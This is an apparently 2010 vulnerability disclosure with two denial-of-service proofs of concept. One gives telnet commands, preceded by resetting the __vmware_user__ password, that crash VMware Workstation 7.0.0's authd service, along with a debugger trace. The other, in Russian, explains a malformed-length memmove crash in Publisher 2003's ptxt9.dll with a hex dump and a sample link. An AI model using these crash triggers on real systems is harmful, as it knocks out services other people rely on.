7/16/2010

VMWareWorkstation 7.0.0 build-203739 vmware-authd.exe DoS PoC

Exploit Title: VMWare-authd.exe DoS
Date: 16.07.2010
Software Link: http://vmware.com
Version: VMWare Workstation 7.0.0 build-203739
Platform / Tested on: Windows 7 Release Candidate

The unhandled exception arises during processing input data which is sent to port 912. But before U must reset password for the __vmware_user__.

Example:
Launch cmd.exe with admin privileges;
> net user __vmware_user__ NEW_PASS
> telnet 127.0.0.1 912
telnet> user __vmware_user__
telnet> pass NEW_PASS
telnet> connect_argv AAAA

After them connection will be aborted.
There is debug-session:

text:00407378 lea eax, [ebp+ppSZ] ;(==0)
text:0040737B push eax
text:0040737C lea ecx, [ebp+var_C]
text:0040737F push ecx
text:00407380 lea edx, [ebp+Memory]
text:00407383 push edx
text:00407384 lea eax, [ebp+pCmd] ; "connect_argv\x20\x20AAAA\x00\x0A"
text:0040738A push eax
text:0040738B mov [ebp+var_1], 0
text:0040738F call vm_authd_CheckArgs_CONNECT_ARGV
text:00407394 mov esi, [ebp+var_C]
text:00407397 mov ebx, [ebp+ppSZ] ; is NULL.
...
text:0040745D mov eax, [ebx] ; (ebx == 0) => APPCRASH
text:0040745F push eax ; Memory
text:00407460 call esi ; free

Microsoft Office Publisher 2003 SP3 ptxt9.dll memmove() DoS vuln

Собственно очередная уязвимость в продукте(ах) от Microsoft Office Publisher 2003 c Service Pack 3. Уязвимость заключается в отсутствии достаточной проверки длины блока данных, перемещаемого из одной области вирт.памяти в др. область виртуальной памяти. Блок описывает временный *.tmp файл (назовем блок TEMP_MOD), который содержит вхождения модификаций файла публикации. Вот сам блок TEMP_MOD (точнее его часть):

00004E00 | E8 AC 2C 00 E8 03 06 01 A0 2F 00 00 13 00 00 01 è¬,.è... /......
00004E10 | 00 00 00 00 00 00 00 00 00 00 56 29 00 00 DC 00 ..........V)..Ü.
00004E20 | 00 00 0A 00 0B 00 00 00 00 00 00 00 B0 00 00 00 ............°...
00004E30 | 01 18 E8 AC 02 68 00 01 00 00 03 20 13 00 E8 03 ..è¬.h..... ..è.
00004E40 | 04 20 13 00 E8 03 05 20 0E 00 E8 03 07 20 0E 00 . ..è.. ..è.. ..
00004E50 | E8 03 08 20 A0 2F 00 00 09 C0 |66| 00 00 00 43 00 è..  /...Àf...C.
00004E60 | 3A 00 5C 00 55 00 73 00 65 00 72 00 73 00 5C 00 :.\.U.s.e.r.s.\.
00004E70 | 41 00 41 00 41 00 41 00 41 00 41 00 7E 00 31 00 A.A.A.A.A.A.~.1.
00004E80 | 5C 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 \.A.p.p.D.a.t.a.
00004E90 | 5C 00 4C 00 6F 00 63 00 61 00 6C 00 5C 00 54 00 \.L.o.c.a.l.\.T.
00004EA0 | 65 00 6D 00 70 00 5C 00 70 00 75 00 62 00 32 00 e.m.p.\.p.u.b.2.
00004EB0 | 34 00 33 00 38 00 2E 00 74 00 6D 00 70 00 00 00 4.3.8...t.m.p...
00004EC0 | 0A B8 56 29 00 00 0B B8 DC 00 00 00 0C 18 01 00 .¸V)...¸Ü.......
00004ED0 | 0D 20 E6 1F 00 00 0E 20 E6 1F 00 00 10 0E 00 00 . æ.... æ.......
00004EE0 | 01 20 84 00 00 00 02 20 13 00 E8 03 03 90 FE 0D . „.... ..è...þ.
Невалидные данные располагются по смещению 0х00004E5A: 4 байта \x66\x00\x00\x00, которые определяют длину блока TEMP_MOD. Это значение обрабатывается следующим образом: ... memmove(pvAllocatedMemory, pvTEMP_MOD_entry, dwSize); ... Здесь dwSize и есть то самое значение по смещению 0х00004E5A. Таким образом, указав достаточно большое значение (на моей лабораторной установке dwSize >= 0x0002F0B4), получим, что программа попытается не только сам блок TEMP_MOD, но и все, что располагается ниже (в сторону старших адресов). Вот так обрабатывает ptxt9.dll это вхождение: 3007356E PUSH EAX ; <-- невалидный размер блока для перемещения.
3007356F ADD ESI,6 ; <-- откуда коприуем.
30073572 PUSH ESI
30073573 PUSH EBX ; <-- куда копируем.
30073574 CALL MSVCRT.memmove>]
Собственно, уязвимость не поддается эксплуатации. Так что видим чистой воды DoS.
Link на образец(пароль lenta) sample